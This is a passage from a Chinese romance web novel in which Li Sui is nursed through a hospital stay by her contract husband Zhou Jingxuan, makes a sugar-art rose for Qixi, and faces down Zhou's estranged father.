对上他严肃的脸色,黎穗迷迷糊糊问:“你怎么现在就回来了?” 周景淮看她捂着肚子,不答反问:“肠胃炎?” “可能是……”黎穗苍白了脸色,额头都是虚汗,“想吐。” 周景淮去拿了垃圾桶,但黎穗胃里空空如也,已经吐不出什么东西。 周景淮打了个电话,打横将她抱起,径直开车去了医院。 急诊医生检查过后,觉得情况比较严重,建议住院,黎穗又连夜住进了顶楼的vip病房。 好像有人拿针往她手背上扎,黎穗闷哼一声,皱紧了眉头,双眸却依旧紧闭着,没有力气睁开。 整个人像是漂浮在海里,起起伏伏,令人眩晕又恐惧。 迷迷糊糊中,好像有人牵住了她的另一只手,那股温暖,让她仿佛在无垠大海中找到了一株浮木。 不知道输了多少液,黎穗全程昏昏欲睡,等醒来的时候,外面已经天光大亮,肚子倒是不怎么疼了,但烧还是没退。 “这几天让她吃点干净的流食,也别太担心了,没多大事儿。” “谢了。” “神经,道什么谢。” 耳畔传来周景淮和医生的对话声,黎穗费力睁开一半的眼睛,正对上周景淮的目光。 他神色严肃地坐在床沿,手背贴着她的额头,再次确认温度。 “我就几天不在,就把自己弄成这样?” “……”黎穗心虚地闭上眼睛,自言自语,“啊头好疼……被骂之后好像更疼了。” 周景淮气笑了,用手拨开覆在她脸上的发丝,苍白的小脸没有一丝血色,看起来格外孱弱。 “再睡会儿,我去帮你拿点吃的。” “嗯。”黎穗点了点头。 等周景淮出了病房,黎穗费劲地用没扎着针的左手从床头柜上捞过手机。 她虚脱地给何潇雨发了条语音:“小雨……你还好吧?” 何潇雨立刻回了消息,声音中气十足:“我很好啊!怎么了?你声音怎么听上去有气无力的?” 果然白担心了。 “那就好,我好像吃坏肚子了……现在在医院呢。” 何潇雨焦急地问:“啊?哪家医院啊?你等着,我马上来!” 黎穗:“不用……我有人照顾,等我状态好点再给你打电话。” “那你好点了把地址发我,我明天下班了来看你。” “好。” 说完,黎穗的左手无力地垂了下去。 好累,说几句话好像用完了一辈子的力气。 不多时,病房里传来一阵米香。 黎穗的肚子跟有感应似的,咕噜叫了一声。 她再次睁开眼,看到周景淮正拿着勺子,往一个保温盒里舀粥。 他把粥放在床头柜,摇高了病床靠背,一手端着粥,一手拿勺小心翼翼地舀起粥,吹了吹,才喂到她嘴边。 黎穗从来没见过他这个样子,如果放在几个月前,她或许会觉得周景淮被人魂穿了,但现在,却好像并不意外。 都说人生病的时候,会变得格外脆弱。 黎穗第一次深以为然,她一直觉得,自己是一个完全可以一辈子一个人生活的人,可是此时此刻,却也莫名地有些鼻尖泛酸。 她没忍住吸了吸鼻子。 “又没骂你,哭什么?”周景淮把勺子抵在她嘴边,语调温和,带着些微无奈。 黎穗喝下一口,那股暖意,一直从口腔蔓延到胃部。 “我没哭,就是鼻子有点痒。”黎穗逞强道。 “行。”周景淮轻笑一声,耐心地一口一口把粥喂完。 黎穗抬头看了眼时间,已经十一点零五分了。 “你不去公司吗?我可以找张姨来照顾我。” 周景淮低头收拾碗勺:“休几天年假。” “你还有年假?” “驴都要休息。” 黎穗慢吞吞地“哦”了一声,不知道是不是一整夜没说话了,显得特别有聊天的欲望。 “那我什么时候可以出院啊?” “等烧退了。” “烧什么时候会退?” “它想退的时候就会退。” “周景淮。” “嗯?” “这病房是不是很贵?” “不贵。” “多少钱?” “友情价,五十一晚上。” “……” 乱七八糟的,黎穗都不知道在跟他聊什么,但一个不太清醒的乐在其中,另一个清醒的,似乎倒也不觉得烦。 聊天的最后,黎穗又对着他的背影喊了一声:“周景淮。” 周景淮:“怎么?” “谢谢你。” 周景淮回头,便看到黎穗满脸真挚地感慨:“你真是个好……” 把头转回去的同时,他打断了她的话:“我建议你把‘人’字收回去。” 身后沉默了片刻,就在周景淮以为对话已经结束的时候,两个极轻的字,隐约传入了他的耳畔。 “老公。” 第48章 (二更) 翌日傍晚,黎穗的烧终于退了,只是脸色还略显苍白。 何潇雨把手里的水果篮放下,心疼地捏捏她的脸:“以后可不敢带你去胡吃海塞了。” “意外,意外。”黎穗掀开被子下床,终于不用再输液,感觉整个人都轻松了。 何潇雨环顾四周:“你老公呢?你生病他不来照顾啊?” “照顾的,这两天他都没离开过。”黎穗不得不为周景淮发声,“这不是你来看我么,他估计担心你尴尬,才说去趟公司。” “那就好。”何潇雨默默在心里为周景淮加了一分。 黎穗看了眼时间,问:“你吃饭没啊?” “没有啊,我这不一下班就赶来了。” “那我们去食堂吃?”虽然可以让工作人员送到病房,但在床上躺了整整两天,她此刻觉得连散步都是一种乐趣。 “行啊。”何潇雨让她挽着自己的手臂,闲聊着去了负一楼的餐厅。 可能是由于负一楼餐厅只供住院部病患和家属使用,人并不多,偌大的餐厅里,只零星坐着身穿病号服的四五位病人。 黎穗刚想踏进门槛,却意识到不对—— 那些人穿的病号服,和自己身上的并不一样。 而且不远处,还围着一群人,架着摄像机,看起来像是剧组在拍戏。 黎穗停下脚步的同时,立刻有一位挂着场务工作牌的女生跑了过来,伸手拦住她们:“不好意思两位,我们这里在拍摄,想用餐的话可以电话预定,让食堂工作人员送到病房的。” “啊,好。”黎穗点了点头,拉着何潇雨走了。 何潇雨回头看了眼,低声吐槽:“不是,他们拍摄归拍摄,凭什么影响真病患用餐啊。” “算了吧,我打个电话让送到病房好了。”黎穗现在人还虚弱,实在没有理会这些事的心情。 “白走一趟。” “当散步咯。”黎穗笑笑,掏出手机才想起自己并不知道食堂点餐的号码,之前两天的食物,都是周景淮让张姨特意做的。 按灭手机,黎穗想着回到病房问问护士,却突然感觉到一旁的何潇雨停下了脚步。 “怎么了?”她疑惑地抬头看向何潇雨。 何潇雨面无表情,左手却借着身体的遮掩,扯了扯黎穗的病号服下摆,腹语似的模糊不清吐出两个字:“谈霄。” 黎穗惊讶地顺着她的眼神看去。 灯光压抑、空空荡荡的走廊里,谈霄穿着一身白大褂,神色淡漠地低头看着手机。 而在他身边的,是拿着保温杯和小风扇的助理。 黎穗突然想起来,前几天在微博热搜看到说,谈霄有一部医疗剧正在拍摄,好像叫什么…… 《护你》。 原来就是在这家医院拍摄? 谈霄自顾自往前走,直到察觉到前面有人挡路,才冷着脸抬起头来。 四目相对的一瞬间,他的眼底罕见闪过一丝惊讶。 看到黎穗身上的病号服,他皱了皱眉:“怎么了?” 助理惊讶地盯着他,十分警觉地回头,见走廊里没人,才松一口气。 “没事,小感冒。”黎穗微微颔首,拉着何潇雨想从旁边的空隙离开。 谈霄却突然伸手挡住了她。 或许是曾经太过了解,那一瞬间,黎穗就觉得自己知道他想问什么。 即便他不在意被助理听到,黎穗却不想把周景淮扯进来。 她顿时凛了脸色。 见状,谈霄的右手握了握拳,僵硬收回。 黎穗目不斜视,毫无犹豫地拉着何潇雨的手臂,快步离开。 一直到回头看不到谈霄的身影,何潇雨才抚摸着心口道:“吓死我了,他居然在这儿拍戏啊?” 黎穗无奈笑笑:“我也才知道。” 何潇雨张了张嘴,却欲言又止,直到回到病房,趁黎穗点餐的时候,她才忍不住好奇:“当年……你俩究竟发生了什么啊?” 黎穗挂了电话,打趣道:“不容易哎,你居然憋到现在才问。” “我那不是以为他拒绝了你,怕戳你伤心处嘛。”何潇雨疑惑地挠挠脑袋,“但是刚才看谈霄那样子,怎么跟被你甩了似的?” “什么样子?” “他看起来挺关心你的啊,问你怎么了的时候,眼神里担心都快溢出来了。”何潇雨顿了顿,又道,“而且你瞪他一眼,什么都没说呢,他就把手收回去了。” 黎穗倒是没注意这些,但是这对于现在的她来说,似乎也不重要了。 她叹了口气,时隔多年,第一次提起以往的事情。 “其实哪有什么甩不甩,我们又没有在一起过。” “但你不是喜欢过他么。” “我俩住得近,出身又相似,那时候,我是觉得自己喜欢的,但是现在再回想,我发现我好像有点分不清,我那时候对他的好感,究竟是喜欢,还是一种抱团取暖式的同病相怜。” “这设定放电视剧里,我高低得嗑两口。”何潇雨来了兴致,从自己买的水果篮里掏出一个橙子,边切边吃瓜,“那你们都没在一起,怎么突然就断联系了?” “我们本来说好了,高考结束后要一起出去吃饭庆祝。”黎穗坐在床沿,双脚晃悠着,自嘲地扯了扯嘴角,“但是高考结束后,我才知道他缺席了最后一门考试,晚上的时候,我打电话给他,是他的经纪人接的。” “对方说,谈霄已经正式和公司签约,进入封闭培训,手机暂时由公司保管,他还说,没人会喜欢一个出道就恋爱的男明星,如果我喜欢他,就等等他,等他在娱乐圈站稳脚跟。” 何潇雨义愤填膺道:“他没跟你说一声就提前走了?为什么啊?” 病房里淡淡的消毒水味传入鼻端,黎穗沉默片刻,没有直接回答这问题,只说:“可能事出突然吧,我那时候没有手机,他确实也不方便联系我,不过现在回头看,我才觉得,他那时候的离开,对我来说可能也不是一件坏事。” “为什么?” “我以前的时候,总觉得我俩是一类人,所以我愿意付出我所有的力量,试图让彼此都更温暖一些。”黎穗无声叹了口气,“但是后来我慢慢发现,这种抱团取暖,并没有让我也觉得温暖。” “我爷爷之前总是说,我像悬崖上的向日葵,只要有阳光,就可以努力生长,可是那段时间,我觉得自己越来越多受到他情绪的影响,变得会失落、会多想。” 这点,何潇雨神以为然,她拼命点头:“我就觉得你高三下半年的时候,情绪很不对劲。” “现在回想,当时的我根本无法把他拉出负面情绪的深渊,反而就快被他拉进去。”黎穗如释重负地笑了笑,从桌上拿了一瓣橙子,“所以他的离开,对我来说,或许也算及时止损。” 她也是渐渐长大才明白,爷爷那时候不喜欢她和谈霄来往,或许就是由于这个原因,只是她当时当局者迷,并未意识到。 何潇雨听得一愣一愣:“那,如果他有什么苦衷呢?你会重新接受他吗?” 话音刚落,门突然被敲响。 黎穗吓了一跳,赶紧跑过去开门,还好,是送餐的工作人员。 不是周景淮。 于是一颗心缓缓落了地。 黎穗莫名松一口气。 一旁何潇雨早已忘了刚才的问题,戳戳她太阳穴调侃:“你呀你,怎么突然就这么怂了!” 黎穗接过晚餐,把门关上:“什么?” 何潇雨拆着晚餐盒外的包装袋,打趣道:“你为什么这么担心周景淮知道你和谈霄的过往?你俩不是假结婚吗?” “我……”黎穗也说不清,最后只能找到一个自觉合理的理由,“他这人嘴毒,要是知道我以前这么怂,肯定天天拿来嘲笑我。” 何潇雨盯着她的脸,意味深长地笑着摇摇头,一脸“你完蛋咯”的表情。 俩人边吃边聊,不知不觉,室外已经笼罩了一层蒙蒙夜色。 何潇雨放下筷子,看了眼时间:“妈呀,都快八点了,我得走了,还有点活要加个班。” “这么惨?”黎穗起身送她。 “我们社畜是这样的。”何潇雨无语地叹了口气,抱住她八卦道,“而且我怕再不走,你老公要急死了。” “怎么会。” 桌上的手机屏幕适时地亮了一下。 黎穗扫了眼,是周景淮的消息,简洁明了的三个字: 【走了没?】 “……”黎穗看着何潇雨的身影离开病房,低头回复:【走了,你可以上来啦。】 那头,得到回复的周景淮满意地推门下车,径直进了住院部。 四个电梯,其他三个都在上行,只有一个正在从16楼下来,他按下电梯,低头确认黎穗新发来的消息。 时隔许久,伴随着“叮”一声,电梯门缓缓开启。 周景淮抬头,却与一个意料之外的人对上目光,对方穿着黑色T恤,压低了帽檐,看起来生人勿进。 这场面,和前些天在小巷里时,如出一辙。 周景淮面容冷淡地收起手机:“谈先生,来探病?” 谈霄直视着他的眼眸,勾了勾唇,痞气中带着几分嘲讽的意味。 “周总又何必明知故问?” 第49章 周景淮走进病房时,病房里只剩下黎穗一个。 她正百无聊赖地盘腿坐在病床上,一边看手机一边剥着橘子。 周景淮去浴室洗了手,走过去极为顺手地接过了她手里的橘子:“你闺蜜呢?” 黎穗抽了张纸巾擦手:“刚走,你没遇到吗?” “没有。”周景淮修长的指尖剥下一片橘子皮,状似随意地问,“刚才还有别人来过吗?” “别人?谁啊?”黎穗不明所以,见他把一瓣橘子递到她嘴边,她顺势把它叼走,慢吞吞地咀嚼着。 周景淮沉默片刻,一语带过:“医生。” “没有啊,我烧都退了。”黎穗两眼冒星,期待地仰头问,“我是不是明天就可以出院了?” “我等会儿问问。”周景淮没再多说什么,耐心地喂完橘子,转身去了洗手间洗手,再出来时,手里端着一盆温水,一白一粉两条毛巾,就这么挂在他手肘上。 一些混乱记忆,突然一股脑涌了上来。 昨晚不便洗澡,周景淮似乎就是这样,用毛巾给她擦的脸和四肢,当时她浑身无力,又迷迷糊糊,所以并没有太多想法。 但此刻清醒着,就完全不一样了。 见他把水放在了床头柜上,黎穗虽然依旧没什么力气,但还是坚定地伸出手:“我自己来吧。” “好好待着。”周景淮坐在床沿,左手把她的手腕压下去,右手拿着温热的毛巾,轻轻擦拭她的脸。 一天都没什么精神,那股温热覆上脸庞的时候,黎穗骤然有种又活过来了的感觉。 她犹豫片刻,顺势靠了回去,安心接受他的伺候。 他的动作很小心翼翼,力度不轻不重,黎穗忍不住感慨:“周景淮,你不会还学过什么护工课程吧?” “嗯。” “除了擦脸,别的也会吗?” 周景淮哼笑一声,动作却没有停下:“洗澡也会,要试试吗?” 黎穗惊得一睁眼,恰对上周景淮戏谑的目光。 安静的病房里,彼此史无前例地贴近,黎穗的嘴巴动得比脑子更快。 “下次一定。” “……” 周景淮像是没听见似的,卷起她的病号服袖子,低着头,换了条毛巾轻轻擦拭她的手臂。 清醒地看着这一切,和昨晚是完全不一样的感觉,明明病房里温度适宜,她却感觉仿佛被暴晒在太阳下,脸上渐渐染上红晕。 一滴汗水沿着鬓角缓缓流下,顺着脖颈的弧度,滑落在锁骨处。 周景淮眼皮微掀,左手轻轻撩开她的领口,用温热的毛巾,将那滴汗珠缓缓擦去。 他全程面不改色,看起来没有丝毫私心,倒是黎穗,在这安静到令人莫名慌张的氛围里,脖颈处的痒,仿佛一路蔓延到心头。 她咽了咽口水,抬眼对上他沉着目光的那一刻,心脏突然开始不受控制地疯狂跳动。 “周景淮,要不你别擦了……”黎穗抬手按住他的手腕,阻止了他的动作。 周景淮顿了顿,一脸淡然地伸手帮她扣好病号服的第一颗扣子:“怎么了?” 那一瞬间,黎穗的脸上红意更盛,耳朵像要烧起来似的:“我好像又烧了,你帮我拿体温计来,我看看有没有四十度。” 周景淮环顾四周:“没体温计。” “那你去找……” 黎穗的话还没说完,周景淮顺势俯身,额头贴上了她的额头。 俩人的鼻尖若有似无地触碰,黎穗的心跳仿佛掉了一拍,右手不自觉地攥紧了被子。 周景淮倒是一脸淡定,退开后下了个结论:“没烧。” ……他今天是怎么了? 在楼下喝了一斤上来的吗? 但也没酒味啊。 黎穗感觉此刻自己像是鱼钩上的鱼,胡乱蹦哒着,被钓得找不着北。 她许久才缓下来,咬牙切齿问:“你不能用手量?” 周景淮一脸理直气壮:“手刚拧完热毛巾,不准。” 黎穗:“……” 该死的,她竟无法反驳。 * 获得医生准许后,黎穗第二天就出了院。 虽然很快恢复了生机,但她同时也遭受了一个巨大打击—— 就在她住院的这两三天里,宝物记主题店结束了营业,再加上八月室外气温高得令人窒息,市集里的人流量,有了明显下降。 不过和之前没事做就发呆玩手机不一样的是,黎穗现在,开始琢磨起产品的创新。 明天就是七夕了。 感觉也该推出一些契合节日氛围的糖画,但喜鹊、鲜花之类的图案,似乎又欠缺新意。 黎穗想了一下午,一直到下班,都没想出答案。 锁上门,她垂着脑袋往车棚走,却在路过旗袍店的时候,突然停下了脚步。 赵亦旋恋爱经验丰富,或许,能给她提供一些灵感? 这么想着,黎穗转身踏进门槛,见店里没人,她趴在柜台上,对着布帘后轻喊了一声:“亦旋姐?” 赵亦旋没有回应,但黎穗却隐约听到一声闷哼,像是不小心撞到了什么之后不由自主的痛呼。 以为出什么事了,黎穗走到布帘前,正准备撩开,却从布帘侧面的缝隙里,看到了让她浑身僵硬的一幕。 门帘内,灯光昏暗,却足够她看清,赵亦旋正被江灼困在一个裁剪台前。 江灼的左手牢牢将赵亦旋的双手反压在身后的裁剪台上,右手虎口抵着赵亦旋的下巴,姿态强硬地亲吻着她的双唇。 而裁剪台上,躺着一株鲜艳的玫瑰,上面的刺扎破了江灼的手臂,留下一道显眼的血痕。 黎穗许久才反应过来,立刻抽身离开,临走时还拿起收银台上暂时歇业的牌子,帮赵亦旋挂在了门口。 这种画面亲眼所见,带给黎穗的冲击力,比追剧看到要强无数倍,一直到深夜,依旧在她脑子里盘旋。 但不同的是,此刻她印象最深的,倒不是俩人交缠的画面了,而是江灼手边那株无人在意的玫瑰。 既然花灯都可以画立体的,那鲜花,自然也可以吧? 黎穗的双眸里突然有了光亮,她立刻从床上爬了起来,飞奔到客厅搬出了练习工具,想着试试手感。 她放下起子,戴上手套,用压制工具将泛着灼热高温的糖饼压扁成薄薄一片,然后包裹在竹签上做成一片“花瓣”。 花瓣一层层叠加,再画出两片叶子,黏在下方。 第一朵,丑得黎穗没眼看。 第二朵,由于花瓣大小不一,不够匀称,依旧宣告失败。 第三朵,也只能说差强人意。 直到不知道多少朵之后,黎穗终于做出了首株让自己满意的立体玫瑰糖画。 当冷白的灯光洒向玫瑰的一瞬间,花朵半透明宛如琥珀一般,璀璨绽放。 她拿着玫瑰,兴冲冲跑到了客房门口敲门。 周景淮刚一开门,她就把玫瑰怼到了他面前,眼睛里亮闪闪的,带着自豪。 “好不好看!” 周景淮神色轻松地问:“送我的?” “额……”黎穗说,“你客观点评一下,建议有用的话,也可以送你。” 周景淮伸手接过,仔仔细细看了一会儿:“整体很不错,如果花瓣再薄一点、展开幅度再大一点的话,可能会更灵动。” “有道理哎!”黎穗醍醐灌顶,“我再去试试。” 周景淮把竹签插在一旁空的小花瓶里,跟在她身后走到了客厅。 这回,黎穗把糖片压得更薄,花瓣也更大了些,果不其然,做出来的玫瑰花更显生动,带着一种晶莹剔透的光感。 黎穗颇为满意,一如约定,朝他递了出去:“这个也送你。” 客厅里,公主和大圣早已安眠,一切都显得那么静谧,唯有墙上的钟,在滴答滴答地走着。 周景淮伸手接过,靠在餐桌边,右手慢悠悠地转着手里的竹签,抬眸时,目光灼然:“知道今天是什么日子吗?” “嗯?”黎穗愣了愣,抬眼看向墙上的钟,零点二十八分。 她这才想起,已经是第二天。 七夕节到了。 “……” “七夕节送我玫瑰。”周景淮眉头轻挑,语气有些欠揍。 “心思有点明显啊。” 第50章 (二更) 傍晚时分,这朵玫瑰和周景淮一起,出现在了办公室里。 宋杰正准备下班,看着那插在花瓶里,经过特殊真空处理的糖玫瑰,再抬眼看看周景淮身后书架上,那副显眼的“岁月静好”,又忍不住停下脚步。 “老板。”宋杰疑惑地问,“你是不是怕太年轻压不住场?” 周景淮用手摆弄着玫瑰的位置:“怎么说?” “我觉得你现在的办公室,越来越……”宋杰斟酌许久,才想出一个比较委婉的形容,“越来越像我爸的朋友圈。” 周景淮轻笑一声,右手点了点玫瑰包装:“我老婆送我的七夕礼物。” “原来,我说呢。”宋杰感慨道,“老板和老板娘感情真好。” 周景淮看了眼时间,西装外套挂在手肘,又顺手拿起桌上的一个玫瑰小熊。 宋杰觉得这小熊有点眼熟,回忆片刻才想起,是一个鲜花品牌最近推出的七夕限量款,一上架就秒空。 但是一千出头的礼物,对于周景淮来说,是不是有点太敷衍了?只怕老板娘不会满意。 宋杰还在替今晚的周景淮默哀,后者已经步履匆匆地进了专用电梯。 避开了晚高峰,一路通畅。 周景淮把车停进车库,拿着盒子往家走,低头确认黎穗刚发来的消息。 黎穗:【我马上就到家了!糖醋排骨!今天要吃糖醋排骨!】 周景淮正低头回复,眼前的夕阳,却突然被人遮住。 他抬起头,看到了一张有些微陌生的面孔。 似乎,有五六年没见了? 父亲,更是一个好陌生的词汇。 面对着神色冷淡的周景淮,庄承平倒是语气熟络,拉着旁边小男孩的手,笑呵呵介绍:“景淮啊,好久不见,这是你弟弟,阳阳。” 说着,他拍了拍小男孩的背,催促道:“快叫哥哥。” 小男孩默不作声地仰头盯着周景淮,一副很抗拒的姿态。 “快叫啊。”庄承平拍了下他的后脑勺。 “不必了。”周景淮不冷不热道。 “我只有一个弟弟。” * 黎穗骑着小电驴到五幢楼下,看到的就是这幅三人对峙的场面。 她没想到,庄承平之前找上前妻还不够,现在居然来骚扰周景淮了。 黎穗听不到他们在说什么,只看到周景淮面无表情地站着,单手插兜,一副事不关己的样子。 如果是别人,或许会觉得他们只是在聊天,但黎穗对周景淮的性子,摸得透彻。 他真不在意的时候,不会是现在的样子,唇角总若有似无地勾着,表面对谁都客气。 他越是面无表情,就代表他越不高兴。 小电驴的刹车声骤然响起,黎穗甚至没想起把车锁上,就直接冲了过去,正好听到庄承平说:“我好歹也是你爸!你妈不肯帮我,你总不能也不顾这父子情义吧?” 黎穗扯了扯周景淮的袖子,没有说什么,却又似乎尽在不言中。 周景淮低头看了她一眼,右手从口袋里抽出,将她揽到了身后。 庄承平认出她就是那天浇了自己一脑袋水的女人,不由惊讶地问周景淮:“这谁啊?” “与你无关。”周景淮淡淡道。 庄承平脸色微变,没再问,反而很快又挂上一张笑脸,拉着旁边小男孩的手,继续说服周景淮:“你看看你弟弟还这么小,要是餐馆倒闭了,他上学都是问题,不过就一百来万,对你来说,那不是一分钟就赚回来了吗?” 黎穗被庄承平语气里的理所当然逗笑了。 世上竟然还有如此不要脸的人。 “一百万,确实不多。”周景淮淡淡道。 “对吧。” 就在庄承平满心满眼以为自己成功了的时候,周景淮扯了扯唇角,又吐出一句: “但给你,太浪费了。” “你!”庄承平骤然失去了刚才的和气,暴躁大吼,“儿子不管老子,你就不怕我闹到网上去?” “好啊。”周景淮依旧是那副轻飘飘、不在意的语气,“正好,现在网络发达,让全世界的人都看看,当年你做了些什么,怎么?你不会以为,过了这么些年,就没有证据了吧?” 庄承平白了脸色,一时失语。 旁边的小男孩不知道是不是觉得父亲被欺负,像看到仇人一样,突然往周景淮腿上踹了一脚:“傻逼!” 黎穗不知道一个小孩儿,怎么能脏话随口就来,愤怒瞬间涌上心头。 她很清楚,以周景淮的性格,即便再生气,也不可能对一个小孩做什么,但她可不是什么讲素质的人。 她往前迈了一步,反而将周景淮挡在了身后,随即也往小男孩腿上还了一脚。 男孩倒是没哭,反而变本加厉地对她做着鬼脸:“丑女人!!!” 黎穗呵呵两声:“你才丑!你不光丑还矮!奥特曼看到你都觉得你丑不愿意和你做朋友。” 小男孩不知道被哪个词击中泪点,突然哇哇大哭。 庄承平立刻把儿子拉到了身后,吹胡子瞪眼地指着黎穗:“你他妈谁啊!” 黎穗脱口而出:“我他爹的是他老婆!” 庄承平愣了愣,恍然大悟似的笑了:“原来是那老头子的孙女啊!乡下来的,难怪这么没素质。 周景淮刚才没坦白她的身份,是怕她连带着被庄承平骚扰,却没想到黎穗居然主动曝光了彼此的关系,尤其是听到这种话,周景淮的脸色更显冷凝,只是还没来得及开口,黎穗就抢先一步作了回答: “对啊,有素质的人会出轨,我可不敢有素质。” 周景淮差点被逗笑,他低头看着就在自己眼前的小脑袋,默默把刚伸出的手插回了兜里。 庄承平被气得脸色发白:“到底是没爹没妈的玩意儿!真以为攀上周家就成凤凰了?” “您有爹有妈,为什么还会出轨呢?” “你知道什么?我们夫妻之间的事情,轮得到你来管吗?” “我是轮不到管你们夫妻之间的事情,但骂出轨男,人人有责。” “你以为当年,周芷玉就没有错吗?” “她有错也不是你出轨的理由。” “你滚开!我跟我儿子说话!” “我不!”黎穗寸土不让,“我怕你带我老公出轨。” 庄承平在她左一句出轨右一句出轨中,逐渐哑口无言。 出轨这件事,的确是他人生中最大的污点,也是让他在周家人面前抬不起头的污点。 这臭丫头油盐不进,就指着这一点骂,让他所有的力气都像砸在了棉花上。 “你、你……” 庄承平“你”了好几声,实在是说不出什么话来,最终只能咬着后槽牙,揪住还在哭的小男孩转身离开。 黎穗如释重负般呼了口气,转身正对上周景淮的目光,深沉、炽热,就像他身后的夕阳。 黎穗的理智,此刻才渐渐回笼,她不禁开始反思,刚才是不是多事了?毕竟是周家的家事,严格来讲,她不应该插手的。 但他们实在太过分了,这谁能忍得住? 黎穗抿了抿唇,尴尬解释:“对不起啊,我……” “为什么说对不起?” “他毕竟是你父亲。” “从他出轨的那一刻起,他就不是我父亲了。” 周景淮伸出手,轻轻捂住了她的耳朵。 “以后这种话,不用听。” 黎穗知道他说的“这种话”,究竟是“哪种话”,她丝毫不在意地笑了笑:“无所谓啦,都是客观事实啊,这有什么不能说的。” “倒是那小孩儿,居然骂我丑!”黎穗鼓鼓嘴,低声嘟囔,“我丑吗?” 本来以为按周景淮的性子,多少会调侃几句,却没想到这一回,他格外认真地看着她回答了这个问题:“不丑,很漂亮。” 这倒是让黎穗有些不知道怎么反应了,她尴尬地挠了挠脸,口不择言:“你也是。”? 什么叫你也是? “呃,我的意思是……” 黎穗还来不及找补,周景淮突然伸手将她搂进了怀里。 黎穗瞬间跟被点穴了似的,僵在了原地。 “黎穗。” “干嘛?” “刚才为什么要帮我?” “那……你是我老公。”黎穗低低道,“我不帮你帮谁啊。” 周景淮许久没有说话,但黎穗耳畔,却听到了快节奏的心跳。 “周景淮……” “嗯?” “有点硌。”黎穗眉头轻蹙,“你手里拿了个什么啊,硌我后腰上了。” 周景淮也是这时候才想起手里的玻璃盒。 他缓缓将她松开:“不是送了我玫瑰么,还你一朵。” 黎穗低头一看,不过巴掌大的白色小熊,手里捧着一束迷你的红色玫瑰,在夕阳下,显得越发可爱。 黎穗接过,好奇地问:“这多少钱啊?很贵吗?” “一千出头。” 黎穗有些不信:“真的假的?” “不然你上淘宝搜搜?” 周景淮坦然的语气,让黎穗相信了这个价格,可是,今天是七夕,他送这礼物…… 算了,黎穗想,都夫妻了,过过七夕节又怎么了! 她甚至有来有往地客气了一句:“那下个节日我再回送你。” 周景淮:“下个节日是中元节。” 黎穗:“……”